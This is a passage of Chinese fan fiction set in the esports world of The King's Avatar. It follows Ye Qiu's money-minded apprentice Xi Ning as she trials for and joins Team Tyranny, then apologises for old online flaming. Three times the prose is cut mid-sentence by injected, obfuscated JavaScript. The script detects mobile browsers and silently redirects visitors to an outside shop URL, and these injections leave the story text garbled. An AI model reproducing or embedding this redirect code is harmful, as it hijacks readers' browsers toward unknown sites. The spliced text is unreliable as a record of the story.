“那不一样!”息宁立刻纠正,“我家那老房子,在李沧区最边上,再往外一步就是城阳了!师父,沐橙姐,你们知道网上那句话吗:‘城阳不算青岛’!我得在‘算青岛’的地方买一套,最好是能看见五四广场上‘五月的风’的那种。” 她说完,又一头扎回了她的“搞钱大业”里。 叶秋对这地域梗听得半懂不懂,还是苏沐橙后来给他发了个“城阳不散青岛”的搞笑视频,他才有点明白刚才息宁的意思,不过依旧不太理解,这姑娘为什么执着成这样。 不过,这姑娘虽然对钱过分执着,游戏天赋却是实打实的。神枪手渐渐上手,进步肉眼可见。叶秋对有天赋的后辈向来不吝指点,只要得空,就常带着她和嘉王朝的人抢野图BOSS、下副本,在权限范围内,也会给她分点装备或材料。 每到这种时候,息宁的“马屁精系统”就会自动启动,对着叶秋一顿毫无底线的狂夸,其辞藻之华丽,角度之清奇,时常让叶秋这种身经百战,脸皮厚度惊人的前辈都招架不住,只能赶紧打断:“行了行了,再夸材料不给了!” 当然,饶是在金钱和偶像的双重诱惑下,息宁也依旧没有松口加入嘉世的训练营。毕竟前途未卜,补贴又少,她作为一名大二学生,学业和毕业证才是头等大事。再者,杭州离青岛实在太远了,如果嘉世基地在青岛,她或许还会认真考虑一下。 叶秋对此也没多劝。以嘉世如今的内部状态,对新人而言,或许真的不是最佳选择。 只是在息宁的神枪手越来越有模有样后,叶秋实在不忍心看她这样浪费天赋。某天,他突然问她:“要不……我给你推荐去霸图的青训营试试?” 息宁一听,第一反应是师父在试探自己的忠诚度,立刻赌咒发誓表忠心:作为叶秋的徒弟兼铁粉,收了那么多红包和指导,她誓死不会与嘉世的死敌“同流合污”!宁愿继续当个代练打磨技术,等毕业后再考虑职业道路。 叶秋语气有点无奈,试图解释:“我其实……跟霸图那边,关系还行。” 息宁觉得自家师父大概是因为“不要脸”,所自我感觉过于良好,缺乏一点自知之明。但作为贴心徒弟,她不好直接戳破,只能悻悻附和:“是是是,恨比爱更长久嘛。我看CP超话里,‘韩叶’的恨海情天,确实比‘韩张’的相濡以沫好嗑多了……” 没错,在苏沐橙的“带领”下,息宁早已打开了新世界的大门,深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934810|192855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入嗑电竞CP的第一线。毕竟在被师父虐到怀疑人生后,看一篇“叶秋被压”的同人文,是快速平复心情的良药。 “你这丫头怎么油盐不进呢。”叶秋无语,但他很明智地选择性忽略了“韩叶”、“韩张”这些乱七八糟的关键词。他只是觉得,这孩子整天把天赋浪费在网游代练上实在可惜,眼看都19岁了,年纪也不小了……想想自己,未成年那会儿已经是荣耀资深玩家了。 “您那情况能一样吗?”息宁反驳,“您那是‘网瘾少年勇敢追梦’,我可是认真学习拿奖学金的!我要是现在辍学去打荣耀,那叫‘失足少女自毁前程’,下场只会是无家可归,难道无家可归是咱们师门的传承?” 她顿了顿,还是没忍住畅想一番:“话说回来,师父……您真不能让嘉世俱乐部,现在就搬来青岛吗?” 叶秋懒得再听她那些天马行空的废话。实在不忍心看她浪费天赋,他直接让苏沐橙一个电话打给了韩文清,给息宁安排了一波霸图青训营的试训内推,还特意强调:“这姑娘有天分,但想先完成学业,所以……你们那边或许更合适。” 随后,他将时间、地点和联系方式甩给息宁,并附上了无法拒绝的三连击: “你难道不想正式出道,成为年入百万的职业选手?” “你神枪手银武的设计图,不想要顶级战队的资源支持?” “你不想白嫖霸图战队的稀有材料,升级你的专属武器?” 知子莫若父,知徒莫若师。 这诱惑,确实太致命了。 只是息宁心里还打着鼓:她毕竟是叶秋的徒弟,霸图……该不会是假装答应,等她一进门就套上麻袋暴打一顿吧? 至于叶秋这边,万一是最近比赛输多了心理扭曲,想借霸图的刀,杀自家的人呢? 叶秋早已掌握了和这徒弟沟通的“核心技巧”:“放心,你要是真被打了,医药费我出。” “那我也亏啊。”息宁精打细算,“疼的可是我。” “你要是被打,师父我砸锅卖铁,也给你凑齐神枪手银武的升级材料,行了吧?” 条件升级了,但息宁的思虑必须周全,她要为所有可能性争取最大利益:“那……我要是面试没通过,岂不是毫无好处,还白白送上门被咱们师门宿敌羞辱一番?” 叶秋差点气结。 一旁目睹全程的苏沐橙忍着笑,直接微信给息宁转了200块钱。 息宁没敢立刻收,谨慎地问:“这钱……是师父出的吗?” “我出我出。”叶秋无奈应下,“你这丫头坑钱还挑人?只坑我,不坑沐橙是吧?” “那当然!”息宁理直气壮,“沐橙姐长得好看啊!我又没见过师父你的脸,如果你长得跟周泽楷半斤八两,我保证以后对你毕恭毕敬,再也不坑你钱了!” 她说完,迅速收下转账,还不忘叮嘱:“师父,记得把这钱转给沐橙姐啊!没手机用银行卡,用现金也行,千万别赖账!咱们师门,讲究的就是一个信义!” 叶秋对着屏幕,第一次产生了“这徒弟是不是收错了”的深刻怀疑。 5. 第 5 章 坑了师父的钱,息宁欢欢喜喜地应下了试训。在一个被长途公交车颠得七荤八素的周末上午,她终于站到了霸图战队那栋气势沉稳的建筑前。 仰头看着霸气凛然的大门,她脑子里突然冒出个古怪念头:网上都说霸图的张副队严谨到能目测大门左右是否对称……那她这偏分的发缝,会不会被认为是对副队长审美标准的无声挑衅? 怀着一丝莫名的警惕,主要是怕被套麻袋,她走进大堂。预想中的彪形大汉并未出现,前台的小姐姐反而格外温柔可亲,微笑着问她:“您好,有什么可以帮您?” “您好,我叫息宁,是来……试训的。” “试训?”小姐姐查了一下记录,露出歉意的表情,“不好意思,我这边没有接到相关通知呢。您有联系人吗?最好请他下来接您一下。” 息宁其实很不想打这个电话——因为叶秋给她的联系人,是韩文清。 对于这位凭气场就能“攻”遍全联盟、在CP文里动不动就让自家师父“几天都下不来床”的硬核男人,她本能地有点发怵。 磨蹭了半天,她还是鼓足勇气拨通了号码。 “韩队您好,我是今天来试训的息宁,现在在霸图楼下……前台说需要人接一下。要不,我把手机给前台,您跟她说一声,让我上去?”她语速飞快,没好意思直接让韩文清下来,小心翼翼地提出了折中方案。 电话那头沉默了两秒,传来韩文清低沉而毋庸置疑的声音:“在那儿等着。” 指令简洁,不容置疑,语气生硬到仿佛在说:“你给我等着!” 息宁乖乖收起手机,像棵小白杨一样杵在大堂里,忽然觉得……师父那200块钱“挨打预备金”,可能没白给。 她一边打量着霸图俱乐部沉稳大气的大堂,一边又忍不住跟亲切的前台小姐姐搭话,试图缓解内心那点莫名的紧张:“那个……小姐姐,我冒昧问一下,等会儿见韩队,会不会……被迫上交钱包啊?” 前台小姐姐显然也是5G冲浪选手,瞬间理解了她的梗,忍着笑,一本正经地“辟谣”:“作为霸图的一员,我必须严肃声明:这是谣传!每一个钱包,都是队员们在韩队威严的感召下,自愿、主动、且怀着无比敬仰的心情上交的!” 两人正说着,电梯方向传来了脚步声。 息宁瞬间挺直腰板,做好了“觐见霸图之主”的心理准备,然而走来的人并非韩文清。 来人穿着一丝不苟的队服,戴着眼镜,气质严谨沉静。是张新杰。 看到对方那身仿佛用标尺量过的整齐装扮,息宁几乎是下意识地抬手,飞快地摸了一下自己的偏分发缝。 张新杰略带疑惑地看了她一眼,似乎没理解这个小动作的含义,只当是试训新人紧张的表现。他走上前,语气平静地自我介绍:“你好,我是张新杰。韩队现在有事,由我带你去训练室。” 张新杰是位很好的引领者,一边引路,一边简洁地为息宁介绍霸图的情况。到达青训训练室后,他随手点了三名青训生,让他们与息宁对战。 息宁赶紧坐下,插卡登陆。平时被叶秋和苏沐橙那种级别的选手“混合双打”惯了,普通青训生的水平在她面前确实不够看。她手起枪落,利落地连赢两局。 息宁心里不由地有点小得意:没给师门丢脸!作为叶秋的徒弟,在霸图的地盘上“虐菜”霸图的人,这感觉……有点暗爽。 她正想谦虚两句,喘口气,张新杰却完全没有给她休息的意思。对战一结束,他立刻又叫来了几名霸图的正式队员。 白言飞的元素法师、周光义的刺客、郑乘风的骑士、于天的剑客……她逐一领教了一遍,最后也只是险胜了白言飞一局。 虽然很想怒斥霸图“车轮战不要脸”,但自己这“一胜难求”的战绩实在有点丢人。后面几位下手一个比一个狠,根本不留任何机会! 她只好充满感激,且同情地看了白言飞一眼。 而张新杰,也在一旁,推了推眼镜,意味深长地看了白言飞一眼。 白言飞顿感心塞! 作为唯一输给息宁的霸图正选,白言飞承认,自己轻敌了。 平时正选队员偶尔也会来青训营指导切磋,基本都是轻松拿捏。今天副队张新杰招呼他们下来,他本以为和往常一样,是场常规的“教学局”,却没想到对手是个从没见过的生面孔,还是个挺漂亮的妹子。 于是他主动请缨第一个上,心里多少存了点“在妹子面前展现职业选手风采”的小心思。 两个远程职业对轰,他的元素法师本不落下风,谁知这妹子的神枪手枪体术练得异常扎实,走位刁钻,一旦被她贴身,那连绵不绝的控制与输出就直接将他按死在了原地,一套连击行云流水,根本没给他反击的机会。 更令他郁闷的是,有了他这场“意外翻车”作为前车之鉴,后面上场的几位队友,一个个都拿出了十二分的专注和认真,把这场试训当成了正赛来打。 于是,结果毫无悬念。 他成了今天唯一一个在试训妹子身上丢掉一局的正式选手。 他甚至能感觉到,旁边观战的青训队员们投来的、那些微妙又复杂的眼神。 这脸,算是彻底丢在青训营了。 白言飞输了本就郁闷,结果妹子还顶着一张人畜无害的脸对他“感激”一笑,副队紧跟着那意味深长的一瞥,更是让他压力山大。 他正要开口解释,没想到张新杰却先出声了:“不用太在意。她是叶秋的徒弟,叶秋亲自推荐来的。” 张新杰语气平静,仿佛在陈述一个客观事实:“你把她当成普通青训生对待,本就是轻敌。” 他推了下眼镜,话锋忽然一转:“毕竟,叶秋可是亲口说过‘我徒弟一个人,就能挑遍你们霸图所有正选’。” 息宁听罢,眼前一黑。 难怪张新杰一上来就给她安排“车轮战”,原来罪魁祸首在这儿呢! 我和师父心连心,师父跟我玩脑筋! 叶秋这是生怕霸图不给她套麻袋啊!区区200块钱就想买她的命?! “那个……张副队!”她弱弱地举手,试图切割,“其实我和叶秋……也不是很熟。” “叶秋不是你师父?”张新杰反问,镜片后的目光平静无波。 “表、表的……”息宁垂死挣扎,“网游里认识的而已!网游嘛,大家都喜欢随便拜个师,其实我连他面都没见过,连他手机号都没……” “叶秋不用手机。”张新杰严谨地打断并纠正。 “……”息宁被噎了一下,硬着头皮继续解释,“我的意思是,我和他真不熟!我不对他说的垃圾话负责!他爱嘲讽,拿垃圾话拌饭,但我是个谦虚的人啊!而且我一直很喜欢霸图,我三个室友都是霸图铁杆粉丝,我们都特别、特别崇拜霸图的各位大神!” 她说完,努力挤出一个真诚又无辜的笑容。 “妹子,你既然是叶神的徒弟,怎么没去嘉世?而且……怎么不玩战斗法师?”白言飞顺势接话,问出了许多人的疑惑。 “我本地人,在青岛上学。要是拿不到大学毕业证,我家老太太能打断我的腿。”息宁老实交代。至于师从叶秋却不玩战斗法师……这是个更悲伤的故事。她心思一动,忽然很想看看,自己那被叶秋“判了死刑”的战斗法师,在其他职业选手眼里究竟算什么水平。 毕竟,搞战斗法师银武,她可有经验了,最近她没少和叶秋一起研究战斗法师的银武设计。 “其实……我最初玩的就是战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934811|192855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斗法师。”她看向白言飞,发出邀请,“你想看看吗?” 白言飞立刻答应。他正想找机会重赛一场,挽回职业选手的尊严。 张新杰也想评估她战斗法师的底子,并未阻止,还帮她借来一张战斗法师的账号卡。 然而结果令人失望,息宁输得比刚才任何一局都快,几乎可说是溃败。 张新杰推了推眼镜,心下明了:难怪这姑娘身为叶秋徒弟,却拿着神枪手来试训。 叶秋看人的眼光,果然毒辣。 白言飞也有点尴尬。没想到她两个职业的水平差距如此悬殊,神枪手能赢职业选手,战斗法师却只是普通网游高玩水准。这赢了,也丝毫没有“正名”的快感,反而有点胜之不武。 “妹子,还是……神枪手玩得好哈。”他干巴巴地夸了一句。 惨败的息宁也彻底认清了现实,难过地附和:“是啊,神枪手至少……还能赢你。” 虽然是事实,但听着怎么这么扎心呢?! 白言飞心头火起:“妹子,用神枪手,咱们再来一把!” 然而,荣耀之神显然没有站在他这边。第二局,他又输了。 息宁看他情绪低落,连忙安慰:“你看,果然还是得靠神枪手才能赢你。” “再来!” 白言飞在心中暗暗赌咒:再一再二不再三,这局一定拿下! 但他显然低估了息宁可怕的学习和适应能力。第三局,他输得更快、更彻底、更像个小丑了。 如果说第一局是旗鼓相当后不慎落败,那么从第二局开始,息宁打他就越来越得心应手。到了这第三局,他已经有些力不从心,心理压力越大,操作就越变形,破绽也越多。 三连败。 白言飞对着屏幕,开始怀疑人生。 这边PK的动静,早就吸引了整个青训营的注意。尤其是当“叶秋徒弟用神枪手连赢自家正选白言飞三次”的消息传开,所有人都按捺不住好奇,悄悄围了过来。 息宁赢下第三局,刚笑着说了句“不好意思,又赢了”,一抬头,发现自己已经被乌泱泱一圈霸图青训生围得水泄不通。 车轮战之后,不会是改群殴吧? 她心里一咯噔,开始反思自己刚才那句话是不是有点“装逼”嫌疑?还是跟叶秋混久了,说话不知不觉就带上了点嘲讽的味道,这难道是师门自带的“垃圾话”被动技能? 人在屋檐下,不得不低头。眼看白言飞一脸“道心破碎”的恍惚,众人的围观更是将这场失利变成了公开处刑,息宁赶紧出言安慰:“你别难过!我、我第一次跟叶秋打的时候,连输了整整十三局!后来又被苏沐橙姐虐,天天被他俩‘混合双打’,从来没赢过!我输得比你惨多了!你刚才打得比我好多了!而且……你不是还赢了我的战斗法师嘛!” 她自觉这番话情真意切,充满共鸣。 然而,落在霸图众人耳中,味道就变得十分微妙。 叶秋是他们多年的宿敌,如今自家正选被叶秋推荐来的新人击败,这新人竟用“自己被叶秋、苏沐橙虐”的经历来安慰……这岂不是变相在说,白言飞和她的差距,就像她和叶秋的差距一样大? 至于“赢了战斗法师”那局,谁都知道那不是她的主职业,实在没什么说服力。 “你别难过啊!要不……我再用战斗法师跟你打一局?给你长点自信?”息宁见安慰无果,赶紧提出新方案。 白言飞的表情在她的“安慰”和“提议”下,变得更加五彩斑斓。 一直旁观的张新杰终于看不下去了,上前一步,平静地开口:“我现在可以确认了。你确实是叶秋的徒弟。” 语气里,带着一种“果然如此”的了然,和一丝不易察觉的无奈。 6. 第 6 章 毫无意外,息宁成功通过了霸图青训的考核。 经理办公室内,张新杰将试训评估与息宁的个人情况向韩文清和战队经理做了详细汇报:“……综合来看,她在神枪手上的天赋和即战力都很突出,具备培养价值。考虑到新人普遍会遇到‘新秀墙’,以及她本人希望兼顾学业的诉求,我建议可以在下个赛季安排她注册出道,先从替补位开始,适应职业联赛的节奏和强度。” “文清,你怎么看?”经理将目光投向一直沉默的韩文清。 韩文清刚刚看完试训录像,画面中那个神枪手犀利又不失灵性的操作,以及张新杰反馈她面对车轮战和意外胜负时展现的心理素质,都让他印象深刻。 “拟合同吧。”他直接拍板,随后想起叶秋之前的特意叮嘱,又补充了一句:“合同电子版,先发给叶秋过目。” 经理点头应下,心里却忍不住泛起一丝微妙的感慨:荣耀史上的三冠大神、嘉世战队的灵魂人物,居然要亲自为一个初出茅庐的新人审合同,而且这新人加入的还是他们霸图。 这何止是上心。 韩文清想起叶秋那通电话里难得严肃的语气。在他问出“为什么不让她去嘉世”时,听筒那端是长久的沉默,最终只传来一声模糊的叹息,和一句轻飘飘的插科打诨:“那丫头死爱钱如命,我们嘉世庙小,给不起她满意的数。” 这自然是玩笑话。 将这样一个有天赋、有前途的苗子亲手送进霸图,哪怕用“完成学业”作为最体面的理由,其背后真正的缘由,恐怕是连叶秋自己都不愿直面的现实:那个他亲手缔造了王朝的嘉世,内部的暗流早已浑浊不堪,浑浊到连这位三冠王朝的基石本人,都已无法为一位纯粹的新人,撑起一片安心成长的晴空。 考虑良多,他才为息宁选择了霸图。 韩文清没有再说话。他只是将目光,重新投向屏幕上那个ID为“息事宁人”的神枪手角色。 三天后,息宁特意请假来到霸图签约。 经理将厚厚一叠打印好的合同推到她面前,一式三份,叮嘱她仔细阅读。 电子版叶秋早已帮她审过,除了明确注明“账号卡买入费用直接支付本人”以及“银武设计图价值另行评估”外,其余多是条款约束。至于那份微薄的青训补贴,甚至没资格印在这份正式合同上。 她自己又翻了两遍,抬头偷瞄了一眼正襟危坐、气场十足的韩文清,还是没勇气开口。 于是她低下头,装模作样地准备翻第三遍。 张新杰从她坐立不安的神情里看穿了她的心思:“有什么疑问,可以直接提。” “……问什么都可以吗?”息宁不着痕迹地将视线投向房间里真正能拍板的人。 “问。”感受到她的目光,韩文清言简意赅地准奏。 得到许可,息宁深吸一口气,语速飞快地将憋了一肚子的问题倾泻而出: “我们这儿有绩效提成吗?有KPI考核吗?试用期多久?试用期工资是全额还是80%?考勤严格吗?一个月允许迟到几次?我因为上课请假算事假吗?事假怎么扣钱?” “包吃住吗?有双休吗?带薪年假多少天?加班有补贴吗?有定期体检、过节费这些福利吗?” “还有……如果我最后没达到职业选手标准,能一直留在青训营‘混’吗?霸图会裁员吗?如果裁我,会给N+1赔偿吗?……” 她一口气问完,办公室里鸦雀无声。 叶秋,这推荐了个什么玩意儿过来?! 这大概是韩文清职业生涯中,内心最汹涌的一次吐槽。 他面上依旧维持着队长的威严,只是手指不耐烦地在桌面敲了两下,随后指向一旁努力憋笑的经理:“你!过来给她回答!” 说完,他深吸一口气,仿佛再多待一秒都会破功,随即大步流星地离开了经理办公室。 “吓死我了……”签完所有文件后,息宁劫后余生般拍了拍胸口,“刚才韩队那个眼神,我还以为他要现场教我怎么做人了。” 而被留下的霸图经理,则任劳任怨地开始逐一解答。只是其中不少问题,他从业多年也从未有选手问过,最终也只能无奈表示:“这部分……我需要去和法务确认一下,再给你正式答复。” 息宁点头,其实她也没想过分纠结细节,只是来签字前,舍友们得知她“弃暗投明”加入霸图,欢天喜地地从学姐那儿激情购入了一份《大学生签就业合同前必问的50个问题》,说是帮她“武装到牙齿”。 不忍心辜负室友们的心意和花的钱,她才硬着头皮有此一问。 眼看经理准备去打电话确认,她忙摆摆手表示“日后慢慢了解”,随即利落地签下名字,按上手印。 张新杰对息宁的这些问题倒没有什么想法,毕竟严谨一点没什么不对。 只是这姑娘在韩文清离开后瞬间松弛下来的肢体语言,让他觉得有些意思:“你很怕韩队。” “毕竟我曾‘误入歧途’,拜叶秋为师。”息宁压低声音,一脸“你懂的”,“宿敌介绍来的,我怕韩队一看到我,就想起叶秋那张嘲讽脸,然后……痛下杀手。” 张新杰推了推眼镜,不太理解这姑娘过于活跃的联想。电竞圈的对手之间,比起嫉恨,更多的是一种顶尖层面的惺惺相惜。 “其实队长和叶秋,私交尚可。”他客观陈述。 哦? 莫非真像网上说的:韩叶,读作宿敌,写做妻子? 当然,这话她可不敢问出口。 她迂回了一下,换了个委婉的提问角度:“那张副队,你觉得……韩队是跟你关系好,还是跟叶秋关系更好?” 这个问题,可事关她未来嗑CP的方向。 张新杰显然没理解这个问题的深意,只是作为副队长,真诚的表达了自己对于新队员的欢迎:“我和韩队是并肩作战的队友,以后你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934812|192855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是。” 哇,这就是正宫的从容吧!息宁在心底惊叹。 “哪怕你是被叶秋那个“小妖精”带大的,但你既然入了我霸图的门,我自然是认你的。”息宁在脑中脑补了一出张新杰作为霸图大娘子,为了霸图家族的兴旺,认下她这个来历不明野孩子的家庭伦理剧。 没错,息宁最近在陪舍友们看知否,刚好看到王大娘子发卖林小娘那一段。 “咳。”张新杰轻咳一声,唤回了明显神游天外的息宁,“合同签完了。我带你熟悉一下青训营的日常安排。” 当晚,息宁就收到了自家“叶小娘”语重心长的临别嘱托。 耳机里传来叶秋的声音,背景是熟悉的技能音效:“小宁啊,合同签了,有些话为师得再叮嘱你几句。” “日后若是出事,千万别把你供出来?”息宁迅速接话,语气严肃,“放心!道上的规矩,我懂!” “什么乱七八糟的!”叶秋一边聚怪,一边反驳,“我是让你日后在霸图,千万别见钱眼开,出卖战队情报。霸图的违约金,你卖十张银武图纸都赔不起。” “我是这种人吗?”息宁一枪秒掉对面的小怪,看看自己的账号角色,还有点遗憾,从今天开始她对自己的账号卡就只有“使用权”,没有“所有权”了。 “上周为了区区30金币就出卖我行踪的人,难道不是你?”叶秋悠悠反问。 “哎呀!我哪知道那是被你抢了野图BOSS来寻仇的啊!”息宁喊冤,“我还以为是你粉丝团,崇拜你,想提前替你收点‘拜师礼’呢!事后我不是分了你15金吗?主要他们人多势众,给得又太爽快……我实在不好拒绝。而且我不是将功折罪,提前给你发消息预警了吗?” “你的意思是我还要谢谢你?” “为咱师门搞创收,我义不容辞!” 叶秋看她操纵角色做了个握拳的得意动作,老父亲心态莫名发作,语气不自觉地软了下来:“行了……去了霸图好好打。老韩那人面硬心软,可能不太会跟小姑娘打交道,你要是有事怕找他,就去找张新杰。霸图其他人应该都挺好相处……真遇上解决不了的,就发消息给我,或者找沐橙。” “咱们师门什么时候改走温情路线了?”息宁嘿嘿一笑,“嘘寒问暖,不如直接给我转笔巨款。可惜今晚沐橙姐有商务活动,不然她肯定会给我发红包庆祝的……” “点谁呢?你个小没良心的!”叶秋瞬间听出了她的弦外之音。 “嘿嘿,徒弟怎么会点师父呢?”息宁赶紧谄媚的表忠心,“师父帮我卖图纸,指导我技术,现在还给我铺好了霸图的路,我感谢您都来不及!等徒弟我扬名立万,拿个冠军回来给您养老啊!” “小小年纪,口气倒是不小,还没出道就敢觊觎冠军了?”叶秋被她这“雄心壮志”逗笑了,手上操作却依旧精准流畅,“冠军……我自己会拿!你嘛,先争取下个赛季,顺利出道再说。” 7. 第 7 章 经过夏休期前紧锣密鼓的青训磨合与银武调试,第七赛季开赛前,霸图战队正式官宣了新赛季阵容。 其中,最引人注目的是一条单独选手公告:姓名:息宁。职业:神枪手,账号卡:息事宁人。 紧随其后,官博连发三条微博,全是新赛季的选手定妆照。作为全队唯一的女生,息宁被妥妥地安排在了九宫格的正中央。她扎着松散慵懒的麻花辫,侧身偏头,对着镜头比了一个甜甜的脸颊爱心,笑容灿烂得像是误入了一群“硬汉”特工片的校园偶像。 而围在她四周的霸图选手们,个个神情严肃,气场全开,愈发衬得中间的姑娘像个被大佬们团团保护起来的“小公主”,画风都不太统一。 霸图粉丝们反复点开大图,揉揉眼睛,终于确认,这支以“硬朗”、“铁血”风格著称的联盟豪强,真的官宣了一位女选手,还是走甜美路线的。 不过,热度最高、转发评论瞬间爆炸的,却是另一张“全家福”式合照。 照片里,身着霸图队服的息宁翘着二郎腿,姿态放松地坐在电竞椅上,双手乖巧地交叉放在腿上。她的身后,一左一右,如两座高山般矗立着韩文清与张新杰。两人双手插兜,目光如炬,沉稳威严的气场几乎要透出屏幕。 而这条微博下的热评,画风则十分统一且微妙: “霸图□□夫妇和他们刚认回来的掌上明珠。” “韩张终于生了!是个女儿!恭喜!” “严父慈母和他们家那画风突变的甜心小女儿。” “本CP粉宣布,这张照片就是我CP的结婚证兼全家福!” 由此可见,在荣耀圈,嗑CP才是天下大势。 人活着,就是要理直气壮地嗑CP! 网络世界处处留痕。这边职业选手群的单身男青年们还在嗷嗷待哺,催促霸图众人赶紧把新妹子拉进群;另一头,热心的网友们已经化身侦探,开始深挖息宁的各大社交平台。 一个血泪教训:各平台千万别用同一个ID。 息宁的全平台ID,连同她第一个战斗法师的账号名,都叫同一个名字:宁息。 很快,有人顺藤摸瓜,扒出了那个尘封已久的“宁息”战斗法师账号。热心的考据党们迅速拼凑出了这个账号的“光辉”历史。 宁息,嘉王朝公会里一只忠心耿耿、指哪打哪的“战犬”! 对此息宁本人坚决否认:她忠心的明明是师父叶秋本人!就算当“狗”,她也只给最厉害的职业选手当! “宁息”这个ID在各个平台都留下了不少“暴言”,但最为振聋发聩的,还属在贴吧的战绩。虽然说话不带一个脏字,但其阴阳怪气、人身攻击的水平,实在愧对她那在电竞圈堪称“学霸”的高学历。 让人不禁感慨:学历,果然不等于素质啊! 而被她火力集中攻击的队伍主要有两支:首当其冲是嘉世,紧随其后就是霸图。 原因无他,谁叫她是叶秋的战斗型死忠粉呢? 嘉世队友拖叶秋后腿?喷! 霸图粉欺人太甚?照样喷! 与此同时,职业选手群里。 白言飞正在顶着蓝雨众人艳羡的酸言酸语,疯狂炫耀自家新来的妹子:“我们息宁多厉害你们知道吗?试训第一天就连赢我三局!而且人家还是正儿八经的大学生,勤工俭学!品学兼优!你们这群失学的‘丈育’少年,懂什么叫国家励志奖学金吗?知道那笔钱有多难拿,数额有多感人吗?” 没错,在青训的朝夕相处中,息宁已凭“过硬”的人格魅力将其彻底收服,主要是每天接受白言飞的“复仇”挑战并把他按在地上摩擦。 白言飞不能接受首日惨败,天天来青训训练室刷“息宁”副本,谁知副本BOSS成长速度比他快得多,导致他至今未能“通关”。 这副本BOSS还“好心”地给他科普了社团活动、期末考试、食堂兼职等多姿多彩的大学生活,于是白言飞对这位“学霸妹妹”的崇拜更是与日俱增。 尤其当他知道,息宁曾在食堂打工,还会偷偷给室友碗里多盛一勺肉时,他的好感度直接拉满:“这是什么人间天使!你们知道我们霸图食堂打饭阿姨的手,抖得有多帕金森吗?!” 字里行间,充满了对“别人家食堂”的羡慕,以及对自家战队食堂的悲愤控诉。 当然,这也不能全怪阿姨。 据知情人士透露,这位阿姨以前在大学食堂工作了大半辈子,那手“抖三抖”的功夫早已深入骨髓,形成肌肉记忆。“转会”霸图后,面对这群能吃的大小伙子,这多年的职业习惯……实在不好改。 白言飞还在群里滔滔不绝,如数家珍:“息宁拿过全国征文二等奖、省社会实践一等奖、市建筑设计大赛银奖……厉害吧?你们懂什么叫全面发展吗?” 当然,他要是再了解息宁一点,就会知道这些比赛看似五花八门,其实都有一个共性:有奖金! 这时,一向关注各队新人的微草“老父亲”王杰希,已经默默完成了他的网络新人调研。他随手将一个电竞营销号的“吃瓜总结”链接甩进群里,并贴心的@白言飞,附上一句意味深长的客观评价:“确实厉害。” 链接里,赫然是“宁息”在贴吧大战四方、舌战群儒,尤其猛喷嘉世和霸图的“光辉”截图。 其用语之犀利,角度之刁钻,逻辑之缜密、嘲讽之精准与白言飞口中那个“品学兼优”、“在食堂兼职都偷偷给舍友多盛肉”的甜美妹妹形象,形成了惨烈的对比。 白言飞,沉默了。 那一刻,比得知自家品学兼优的妹妹背着自己在外头和黄毛谈恋爱还要难以接受! 她这根本就是……在网络上亲自当黄毛啊!! 于是在出道第一天,霸图新人息宁的官方微博,没有发励志宣言,没有晒定妆照,而是连夜更新了一条郑重道歉声明。 她为自己过往在网络上的“过激言论”表示“深刻的反思与诚恳的歉意”,并难得主动自掏腰包,请霸图全队喝奶茶,以实际行动证明“改过自新”的决心,并且声泪俱下的跟白言飞忏悔,自己只是不想自己师父在网上孤立无援的挨骂。 “你对‘表的’师父,倒是挺亲。”张新杰推了推眼镜,精准吐槽,毕竟这姑娘试训时,还信誓旦旦地说和叶秋“不熟”。 息宁立刻转向,向霸图全队表忠心:“以后我也会帮霸图所有人说话的!谁骂我们霸图,我就喷回去!” 话音刚落,只听“砰”的一声闷响,韩文清一掌拍在会议桌上。 息宁吓得浑身一激灵,瞬间噤声,缩着脖子,活像只被惊着的小鸡崽儿。 韩文清看着她那副怂样,胸中那股火气不知怎么,就消散了大半,反倒有点哭笑不得。他深吸一口气,不再看她,转而将目光投向经理,沉声下令:“队规再加一条:所有队员,禁止网络对骂!” 至此,这场风波的队内处理告一段落。 其实,道歉声明的后半段才是精髓:息宁特意强调,自己当初喷的只是那些“无脑辱骂叶秋的极端霸图粉丝”,对于霸图战队的选手们,她“始终怀有最高的敬意”,对于除了叶秋和苏沐橙以外嘉世被攻击的选手,她半个字都没提。 看,道歉了,但没完全道歉。切割了,但只精准切割了“霸图选手”。 至于嘉世其他选手?那是另外的价钱,啊不,是另外的“恩怨”,不在此次道歉范畴。 这份声明,让霸图粉丝的心情颇为复杂。 自家战队好不容易来了一位萌妹选手,结果发现她骨子里是叶秋的“战斗粉”,还在网上有过“塔塔开”的黑历史。 虽然这事儿真要上纲上线显得矫情,但妹子的道歉声明读起来……总有种“我道歉了,但我觉得我没错”的微妙感,让人心里梗梗的。 哪个霸图真爱粉,没在热血沸腾时骂过叶秋两句? 